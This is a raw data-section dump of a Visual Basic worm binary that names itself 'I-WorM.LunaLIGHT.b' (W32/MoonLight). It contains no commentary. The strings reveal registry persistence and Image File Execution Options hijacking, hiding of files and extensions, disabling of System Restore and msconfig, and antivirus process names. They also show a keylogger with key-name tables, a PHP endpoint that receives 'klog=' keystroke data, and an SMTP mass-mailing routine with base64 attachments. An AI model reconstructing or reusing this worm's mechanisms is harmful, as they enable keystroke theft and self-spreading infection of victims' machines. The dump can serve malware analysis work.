00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....

00407f29
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....

00407f75
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....

00408289
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....

004082d1
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....

00408309
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....

00408351
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....

00408395
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....

004083dd
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....

00408429
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....

00408471
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0
00408816
00408816 00 00 10 00 00 00 ......
0040881c
0040881c wstring "debugger",0
0040882e
0040882e 00 00 ..
00408830 02 00 00 00 ....
00408834
00408834 wstring "q",0
00408838
00408838 68 00 00 00 h...
0040883c
0040883c wstring "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l",0
004088a6
004088a6 00 00 1a 00 00 00 ......
004088ac
004088ac wstring "DisableConfig",0
004088c8
004088c8 12 00 00 00 ....
004088cc
004088cc wstring "DisableSR",0
004088e0
004088e0 4a 00 00 00 J...
004088e4
004088e4 wstring "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}",0
00408930
00408930 1c 00 00 00 ....
00408934
00408934 wstring "He}l{gh}lZalee",0
00408952
00408952 00 00 0a 00 00 00 ......
00408958
00408958 wstring "l.exe",0
00408964
00408964 94 00 00 00 ....
00408968
00408968 wstring "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\",0
004089fe
004089fe 00 00 ..
00408a00 0c 00 00 00 ....
00408a04
00408a04 wstring "Date: ",0
00408a12
00408a12 00 00 00 00 00 00 18 00 00 00 ..........
00408a1c
00408a1c wstring "\\notepad.exe",0
00408a36
00408a36 00 00 16 00 00 00 ......
00408a3c
00408a3c wstring "regedit.exe",0
00408a54
00408a54 14 00 00 00 ....
00408a58
00408a58 wstring "rstrui.exe",0
00408a6e
00408a6e 00 00 ..
00408a70 5a 00 00 00 Z...
00408a74
00408a74 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g",0
00408ad0
00408ad0 0a 00 00 00 ....
00408ad4
00408ad4 wstring "avgnt",0
00408ae0
00408ae0 14 00 00 00 ....
00408ae4
00408ae4 wstring "drv_st_key",0
00408afa
00408afa 00 00 18 00 00 00 ......
00408b00
00408b00 wstring "gf{dhgVshgmh",0
00408b1a
00408b1a 00 00 18 00 00 00 ......
00408b20
00408b20 wstring "gf{dhg)shgmh",0
00408b3a
00408b3a 00 00 0a 00 00 00 ......
00408b40
00408b40 wstring "DZDZN",0
00408b4c
00408b4c 08 00 00 00 ....
00408b50
00408b50 wstring "^f{m",0
00408b5a
00408b5a 00 00 0c 00 00 00 ......
00408b60
00408b60 wstring "^`ghdy",0
00408b6e
00408b6e 00 00 ..
00408b70 0c 00 00 00 ....
00408b74
00408b74 wstring "M{`\x7fl{",0
00408b82
00408b82 00 00 26 00 00 00 ..&...
00408b88
00408b88 wstring "^`g\\ymh}lZ|yl{\x7f`zf{",0
00408bb0
00408bb0 08 00 00 00 ....
00408bb4
00408bb4 wstring "]hzb",0
00408bbe
00408bbe 00 00 ..
00408bc0 08 00 00 00 ....
00408bc4
00408bc4 wstring "mhnf",0
00408bce
00408bce 00 00 ..
00408bd0 02 00 00 00 ....
00408bd4
00408bd4 wstring "Q",0
00408bd8
00408bd8 20 00 00 00 ...
00408bdc
00408bdc wstring "J|lQ==Vz}`eVal{l",0
00408bfe
00408bfe 00 00 ..
00408c00 1c 00 00 00 ....
00408c04
00408c04 wstring "H|}fZ|yl{\x7f`zf{",0
00408c22
00408c22 00 00 1c 00 00 00 ......
00408c28
00408c28 wstring "SMA_nya_Artika",0
00408c46
00408c46 00 00 1e 00 00 00 ......
00408c4c
00408c4c wstring "Putri_Indonesia",0
00408c6c
00408c6c 12 00 00 00 ....
00408c70
00408c70 wstring "BabelPath",0
00408c84
00408c84 1a 00 00 00 ....
00408c88
00408c88 wstring "Alumni Smansa",0
00408ca4
00408ca4 12 00 00 00 ....
00408ca8
00408ca8 wstring "ViriSetup",0
00408cbc
00408cbc 26 00 00 00 &...
00408cc0
00408cc0 wstring "SMAN1_Pangkalpinang",0
00408ce8
00408ce8 18 00 00 00 ....
00408cec
00408cec wstring "Putri_Bangka",0
00408d06
00408d06 00 00 0e 00 00 00 ......
00408d0c
00408d0c wstring "SysYuni",0
00408d1c
00408d1c 0e 00 00 00 ....
00408d20
00408d20 wstring "SysDiaz",0
00408d30
00408d30 0c 00 00 00 ....
00408d34
00408d34 wstring "SysRia",0
00408d42
00408d42 00 00 0a 00 00 00 ......
00408d48
00408d48 wstring "Pluto",0
00408d54
00408d54 0e 00 00 00 ....
00408d58
00408d58 wstring "DllHost",0
00408d68
00408d68 1a 00 00 00 ....
00408d6c
00408d6c wstring "SaTRio ADie X",0
00408d88
00408d88 02 00 00 00 ....
00408d8c
00408d8c wstring "p",0
00408d90
00408d90 1a 00 00 00 ....
00408d94
00408d94 wstring "Tok-Cirrhatus",0
00408db0
00408db0 1a 00 00 00 ....
00408db4
00408db4 wstring "AllMyBallance",0
00408dd0
00408dd0 1e 00 00 00 ....
00408dd4
00408dd4 wstring "MomentEverComes",0
00408df4
00408df4 1a 00 00 00 ....
00408df8
00408df8 wstring "TryingToSpeak",0
00408e14
00408e14 1c 00 00 00 ....
00408e18
00408e18 wstring "YourUnintended",0
00408e36
00408e36 00 00 1c 00 00 00 ......
00408e3c
00408e3c wstring "YourUnintendes",0
00408e5a
00408e5a 00 00 12 00 00 00 ......
00408e60
00408e60 wstring "lexplorer",0
00408e74
00408e74 0e 00 00 00 ....
00408e78
00408e78 wstring "dkernel",0
00408e88
00408e88 1c 00 00 00 ....
00408e8c
00408e8c wstring "Bron-Spizaetus",0
00408eaa
00408eaa 00 00 1c 00 00 00 ......
00408eb0
00408eb0 wstring "ADie suka kamu",0
00408ece
00408ece 00 00 ..
00408ed0 0c 00 00 00 ....
00408ed4
00408ed4 wstring "winfix",0
00408ee2
00408ee2 00 00 0e 00 00 00 ......
00408ee8
00408ee8 wstring "templog",0
00408ef8
00408ef8 0e 00 00 00 ....
00408efc
00408efc wstring "service",0
00408f0c
00408f0c 10 00 00 00 ....
00408f10
00408f10 wstring "Grogotix",0
00408f22
00408f22 00 00 12 00 00 00 ......
00408f28
00408f28 wstring "\\windows*",0
00408f3c
00408f3c 0e 00 00 00 ....
00408f40
00408f40 wstring "</head>",0
00408f50
00408f50 1e 00 00 00 ....
00408f54
00408f54 wstring "\\ShellNew\\*.exe",0
00408f74
00408f74 0c 00 00 00 ....
00408f78
00408f78 wstring "\\*.exe",0
00408f86
00408f86 00 00 0c 00 00 00 ......
00408f8c
00408f8c wstring "\\*.vbs",0
00408f9a
00408f9a 00 00 18 00 00 00 ......
00408fa0
00408fa0 wstring "\\MyHeart.exe",0
00408fba
00408fba 00 00 2c 00 00 00 ..,...
00408fc0
00408fc0 wstring "\\KesenjanganSosial.exe",0
00408fee
00408fee 00 00 ..
00408ff0 1e 00 00 00 ....
00408ff4
00408ff4 wstring "\\FirstLove.exe*",0
00409014
00409014 18 00 00 00 ....
00409018
00409018 wstring "\\eksplorasi*",0
00409032
00409032 00 00 16 00 00 00 ......
00409038
00409038 wstring "\\CintaButa*",0
00409050
00409050 0c 00 00 00 ....
00409054
00409054 wstring "\\*.pif",0
00409062
00409062 00 00 14 00 00 00 ......
00409068
00409068 wstring "\\Romantic*",0
0040907e
0040907e 00 00 ..
00409080 34 00 00 00 4...
00409084
00409084 wstring "Zj{`y}`gn'O`elZpz}ldFkclj}",0
004090ba
004090ba 00 00 1a 00 00 00 ......
004090c0
004090c0 wstring "\\msvbvm60.dll",0
004090dc
004090dc 02 00 00 00 ....
004090e0
004090e0 wstring "P",0
004090e4
004090e4 28 00 00 00 (...
004090e8
004090e8 wstring "Uzpz}ldUdz\x7fk\x7fd?9'mee",0
00409112
00409112 00 00 1a 00 00 00 ......
00409118
00409118 wstring "UDZ^@GZJB'fjq",0
00409134
00409134 04 00 00 00 ....
00409138
00409138 wstring "nn",0
0040913e
0040913e 00 00 ..
00409140 04 00 00 00 ....
00409144
00409144 wstring "HH",0
0040914a
0040914a 00 00 ..
0040914c
0040914c struct VBDeclareNameLength
0040914c cbName int 10
00409150
00409150 string "winmm.dll",0
0040915a
0040915a 00 00 ..
0040915c
0040915c struct VBDeclareNameLength
0040915c cbName int 11
00409160
00409160 string "mciExecute",0
0040916b
0040916b 00 .
0040916c
0040916c struct DeclareInfo
0040916c lpszLibraryName uint32 0x409150
00409170 lpszFunctionName uint32 0x409160
00409174 dwFlags uint32 0x00040000
00409178 lpCache uint32 0x41bfb0
0040917c dwReserved uint32 0x00000000
00409180
00409180 00 00 00 00 ....

0040919d
0040919d 00 00 00 ...
004091a0
004091a0 struct VBDeclareNameLength
004091a0 cbName int 15
004091a4
004091a4 string "mciSendStringA",0
004091b3
004091b3 00 .
004091b4
004091b4 struct DeclareInfo
004091b4 lpszLibraryName uint32 0x409150
004091b8 lpszFunctionName uint32 0x4091a4
004091bc dwFlags uint32 0x00040000
004091c0 lpCache uint32 0x41bfbc
004091c4 dwReserved uint32 0x00000000
004091c8
004091c8 00 00 00 00 ....

004091e5
004091e5 00 00 00 20 00 00 00 ... ...
004091ec
004091ec wstring "ThunderRT6FormDC",0
0040920e
0040920e 00 00 ..
00409210 0c 00 00 00 ....
00409214
00409214 wstring "TForm1",0
00409222
00409222 00 00 ..
00409224
00409224 struct VBDeclareNameLength
00409224 cbName int 23
00409228
00409228 string "RegisterServiceProcess",0
0040923f
0040923f 00 .
00409240 00 00 00 00 1c 00 00 00 ........
00409248
00409248 wstring "\\MooNlight.txt",0
00409266
00409266 00 00 16 00 00 00 ......
0040926c
0040926c wstring "[Lunalight]",0
00409284
00409284 04 00 00 00 01 00 88 00 58 00 00 00 ........X...
00409290
00409290 wstring "I-WorM.LunaLIGHT.b Aliase W32/MoonLight.P@mm",0
004092ea
004092ea 00 00 28 00 00 00 ..(...
004092f0
004092f0 wstring "Copyleft @ Devil.inc",0
0040931a
0040931a 00 00 1c 00 00 00 ......
00409320
00409320 wstring "www.vaksin.com",0
0040933e
0040933e 00 00 ..
00409340 1a 00 00 00 ....
00409344
00409344 wstring "www.bsi.ac.id",0
00409360
00409360 struct VBDeclareNameLength
00409360 cbName int 17
00409364
00409364 string "GetAsyncKeyState",0
00409375
00409375 00 00 00 ...
00409378
00409378 struct DeclareInfo
00409378 lpszLibraryName uint32 0x406058
0040937c lpszFunctionName uint32 0x409364
00409380 dwFlags uint32 0x00040000
00409384 lpCache uint32 0x41bfc8
00409388 dwReserved uint32 0x00000000
0040938c
0040938c 00 00 00 00 ....

004093a9
004093a9 00 00 00 ...
004093ac
004093ac struct VBDeclareNameLength
004093ac cbName int 12
004093b0
004093b0 string "GetKeyState",0
004093bc
004093bc struct DeclareInfo
004093bc lpszLibraryName uint32 0x406058
004093c0 lpszFunctionName uint32 0x4093b0
004093c4 dwFlags uint32 0x00040000
004093c8 lpCache uint32 0x41bfd4
004093cc dwReserved uint32 0x00000000
004093d0
004093d0 00 00 00 00 ....

004093ed
004093ed 00 00 00 ...
004093f0
004093f0 struct VBDeclareNameLength
004093f0 cbName int 13
004093f4
004093f4 string "Kernel32.dll",0
00409401
00409401 00 00 00 06 00 00 00 .......
00409408
00409408 wstring "MMM",0
00409410
00409410 struct DeclareInfo
00409410 lpszLibraryName uint32 0x4093f4
00409414 lpszFunctionName uint32 0x409228
00409418 dwFlags uint32 0x00040000
0040941c lpCache uint32 0x41bfe0
00409420 dwReserved uint32 0x00000000
00409424
00409424 00 00 00 00 ....

00409441
00409441 00 00 00 0c 00 0c 00 00 00 00 00 00 00 00 00 ...............
00409450 2c 00 00 00 ,...
00409454
00409454 wstring "http://www.google.com/",0
00409482
00409482 00 00 0e 00 00 00 ......
00409488
00409488 wstring "http://",0
00409498
00409498 22 00 00 00 "...
0040949c
0040949c wstring "pfzlo'gl}ohz}'f{n",0
004094c0
004094c0 40 00 00 00 @...
004094c4
004094c4 wstring "/testms.php?mod=save&bkd=0&klog=",0
00409506
00409506 00 00 04 00 00 00 ......
0040950c
0040950c wstring "\r\n",0
00409512
00409512 00 00 06 00 00 00 ......
00409518
00409518 wstring "ZIP",0
00409520
00409520 1c 00 00 00 ....
00409524
00409524 wstring "\\moonlight.dll",0
00409542
00409542 00 00 08 00 00 00 ......
00409548
00409548 wstring "MIDI",0
00409552
00409552 00 00 28 00 00 00 ..(...
00409558
00409558 wstring "\\onceinabluemoon.mid",0
00409582
00409582 00 00 08 00 00 00 ......
00409588
00409588 wstring "open",0
00409592
00409592 00 00 04 00 00 00 ......
00409598
00409598 wstring ", ",0
0040959e
0040959e 00 00 ..
004095a0 00 00 00 00 18 00 00 00 ........
004095a8
004095a8 wstring "############",0
004095c2
004095c2 00 00 30 00 00 00 ..0...
004095c8
004095c8 wstring "Windows Sockets Version ",0
004095fa
004095fa 00 00 3a 00 00 00 ..:...
00409600
00409600 wstring " is not supported by Windows ",0
0040963c
0040963c 50 00 00 00 P...
00409640
00409640 wstring "Sockets For 32 bit Windows environments.",0
00409692
00409692 00 00 4e 00 00 00 ..N...
00409698
00409698 wstring "This application requires a minimum of ",0
004096e8
004096e8 26 00 00 00 &...
004096ec
004096ec wstring " supported sockets.",0
00409714
00409714 1c 67 c4 a4 9f 49 1b 10 bb 78 00 aa .g...I...x..
00409720 00 38 3c bb 80 67 c4 a4 9f 49 1b 10 bb 78 00 aa .8<..g...I...x..
00409730 00 38 3c bb 00 00 00 00 14 97 40 00 24 97 40 00 .8<.......@.$.@.
00409740 00 00 00 00 06 00 00 00 ........
00409748
00409748 wstring "220",0
00409750
00409750 0a 00 00 00 ....
00409754
00409754 wstring "HELO ",0
00409760
00409760 06 00 00 00 ....
00409764
00409764 wstring "250",0
0040976c
0040976c 18 00 00 00 ....
00409770
00409770 wstring "MAIL FROM: <",0
0040978a
0040978a 00 00 02 00 00 00 ......
00409790
00409790 wstring ">",0
00409794
00409794 14 00 00 00 ....
00409798
00409798 wstring "RCPT TO: <",0
004097ae
004097ae 00 00 ..
004097b0 08 00 00 00 ....
004097b4
004097b4 wstring "DATA",0
004097be
004097be 00 00 ..
004097c0 06 00 00 00 ....
004097c4
004097c4 wstring "354",0
004097cc
004097cc 28 00 00 00 (...
004097d0
004097d0 wstring "----_=_NextPart_000_",0
004097fa
004097fa 00 00 10 00 00 00 ......
00409800
00409800 wstring "00000000",0
00409812
00409812 00 00 0e 00 00 00 ......
00409818
00409818 wstring "From: <",0
00409828
00409828 0a 00 00 00 ....
0040982c
0040982c wstring "To: <",0
00409838
00409838 12 00 00 00 ....
0040983c
0040983c wstring "Subject: ",0
00409850
00409850 06 00 00 00 ....
00409854
00409854 wstring "ddd",0
0040985c
0040985c 00 00 00 00 ....
00409860 1e 00 00 00 ....
00409864
00409864 wstring " yyyy hh:nn:ss ",0
00409884
00409884 22 00 00 00 "...
00409888
00409888 wstring "MIME-Version: 1.0",0
004098ac
004098ac 3c 00 00 00 <...
004098b0
004098b0 wstring "Content-Type: multipart/mixed;",0
004098ee
004098ee 00 00 ..
004098f0 02 00 00 00 ....
004098f4
004098f4 wstring "\t",0
004098f8
004098f8 12 00 00 00 ....
004098fc
004098fc wstring "boundary=",0
00409910
00409910 02 00 00 00 ....
00409914
00409914 wstring "\"",0
00409918
00409918 04 00 00 00 ....
0040991c
0040991c wstring "--",0
00409922
00409922 00 00 1c 00 00 00 ......
00409928
00409928 wstring "Content-Type: ",0
00409946
00409946 00 00 16 00 00 00 ......
0040994c
0040994c wstring "text/plain;",0
00409964
00409964 10 00 00 00 ....
00409968
00409968 wstring "charset=",0
0040997a
0040997a 00 00 18 00 00 00 ......
00409980
00409980 wstring "windows-1255",0
0040999a
0040999a 00 00 3e 00 00 00 ..>...
004099a0
004099a0 wstring "Content-Transfer-Encoding: 7bit",0
004099e0
004099e0 02 00 00 00 ....
004099e4
004099e4 wstring "M",0
004099e8
004099e8 02 00 00 00 ....
004099ec
004099ec wstring "N",0
004099f0
004099f0 4e 00 00 00 N...
004099f4
004099f4 wstring "Content-Type: application/octet-stream;",0
00409a44
00409a44 0a 00 00 00 ....
00409a48
00409a48 wstring "name=",0
00409a54
00409a54 42 00 00 00 B...
00409a58
00409a58 wstring "Content-Transfer-Encoding: base64",0
00409a9c
00409a9c 42 00 00 00 B...
00409aa0
00409aa0 wstring "Content-Disposition: attachment; ",0
00409ae4
00409ae4 12 00 00 00 ....
00409ae8
00409ae8 wstring "filename=",0
00409afc
00409afc 08 00 00 00 ....
00409b00
00409b00 wstring "QUIT",0
00409b0a
00409b0a 00 00 02 00 00 00 ......
00409b10
00409b10 wstring "n",0
00409b14
00409b14 02 00 00 00 ....
00409b18
00409b18 wstring "O",0
00409b1c
00409b1c 02 00 00 00 ....
00409b20
00409b20 wstring "o",0
00409b24
00409b24 02 00 00 00 ....
00409b28
00409b28 wstring "A",0
00409b2c
00409b2c 02 00 00 00 ....
00409b30
00409b30 wstring "a",0
00409b34
00409b34 02 00 00 00 ....
00409b38
00409b38 wstring "B",0
00409b3c
00409b3c 02 00 00 00 ....
00409b40
00409b40 wstring "b",0
00409b44
00409b44 02 00 00 00 ....
00409b48
00409b48 wstring "C",0
00409b4c
00409b4c 02 00 00 00 ....
00409b50
00409b50 wstring "c",0
00409b54
00409b54 02 00 00 00 ....
00409b58
00409b58 wstring "D",0
00409b5c
00409b5c 02 00 00 00 ....
00409b60
00409b60 wstring "d",0
00409b64
00409b64 02 00 00 00 ....
00409b68
00409b68 wstring "E",0
00409b6c
00409b6c 02 00 00 00 ....
00409b70
00409b70 wstring "e",0
00409b74
00409b74 02 00 00 00 ....
00409b78
00409b78 wstring "F",0
00409b7c
00409b7c 02 00 00 00 ....
00409b80
00409b80 wstring "f",0
00409b84
00409b84 02 00 00 00 ....
00409b88
00409b88 wstring "G",0
00409b8c
00409b8c 02 00 00 00 ....
00409b90
00409b90 wstring "g",0
00409b94
00409b94 02 00 00 00 ....
00409b98
00409b98 wstring "H",0
00409b9c
00409b9c 02 00 00 00 ....
00409ba0
00409ba0 wstring "h",0
00409ba4
00409ba4 02 00 00 00 ....
00409ba8
00409ba8 wstring "I",0
00409bac
00409bac 02 00 00 00 ....
00409bb0
00409bb0 wstring "i",0
00409bb4
00409bb4 02 00 00 00 ....
00409bb8
00409bb8 wstring "J",0
00409bbc
00409bbc 02 00 00 00 ....
00409bc0
00409bc0 wstring "j",0
00409bc4
00409bc4 02 00 00 00 ....
00409bc8
00409bc8 wstring "K",0
00409bcc
00409bcc 02 00 00 00 ....
00409bd0
00409bd0 wstring "k",0
00409bd4
00409bd4 02 00 00 00 ....
00409bd8
00409bd8 wstring "L",0
00409bdc
00409bdc 02 00 00 00 ....
00409be0
00409be0 wstring "l",0
00409be4
00409be4 02 00 00 00 ....
00409be8
00409be8 wstring "x",0
00409bec
00409bec 02 00 00 00 ....
00409bf0
00409bf0 wstring "Y",0
00409bf4
00409bf4 02 00 00 00 ....
00409bf8
00409bf8 wstring "y",0
00409bfc
00409bfc 02 00 00 00 ....
00409c00
00409c00 wstring "Z",0
00409c04
00409c04 02 00 00 00 ....
00409c08
00409c08 wstring "z",0
00409c0c
00409c0c 02 00 00 00 ....
00409c10
00409c10 wstring "1",0
00409c14
00409c14 02 00 00 00 ....
00409c18
00409c18 wstring "!",0
00409c1c
00409c1c 02 00 00 00 ....
00409c20
00409c20 wstring "2",0
00409c24
00409c24 02 00 00 00 ....
00409c28
00409c28 wstring "3",0
00409c2c
00409c2c 02 00 00 00 ....
00409c30
00409c30 wstring "#",0
00409c34
00409c34 02 00 00 00 ....
00409c38
00409c38 wstring "4",0
00409c3c
00409c3c 02 00 00 00 ....
00409c40
00409c40 wstring "$",0
00409c44
00409c44 02 00 00 00 ....
00409c48
00409c48 wstring "5",0
00409c4c
00409c4c 02 00 00 00 ....
00409c50
00409c50 wstring "%",0
00409c54
00409c54 02 00 00 00 ....
00409c58
00409c58 wstring "6",0
00409c5c
00409c5c 02 00 00 00 ....
00409c60
00409c60 wstring "^",0
00409c64
00409c64 02 00 00 00 ....
00409c68
00409c68 wstring "7",0
00409c6c
00409c6c 02 00 00 00 ....
00409c70
00409c70 wstring "&",0
00409c74
00409c74 02 00 00 00 ....
00409c78
00409c78 wstring "8",0
00409c7c
00409c7c 02 00 00 00 ....
00409c80
00409c80 wstring "*",0
00409c84
00409c84 02 00 00 00 ....
00409c88
00409c88 wstring "9",0
00409c8c
00409c8c 02 00 00 00 ....
00409c90
00409c90 wstring "(",0
00409c94
00409c94 02 00 00 00 ....
00409c98
00409c98 wstring ")",0
00409c9c
00409c9c 16 00 00 00 ....
00409ca0
00409ca0 wstring "{backspace}",0
00409cb8
00409cb8 0a 00 00 00 ....
00409cbc
00409cbc wstring "{tab}",0
00409cc8
00409cc8 0e 00 00 00 ....
00409ccc
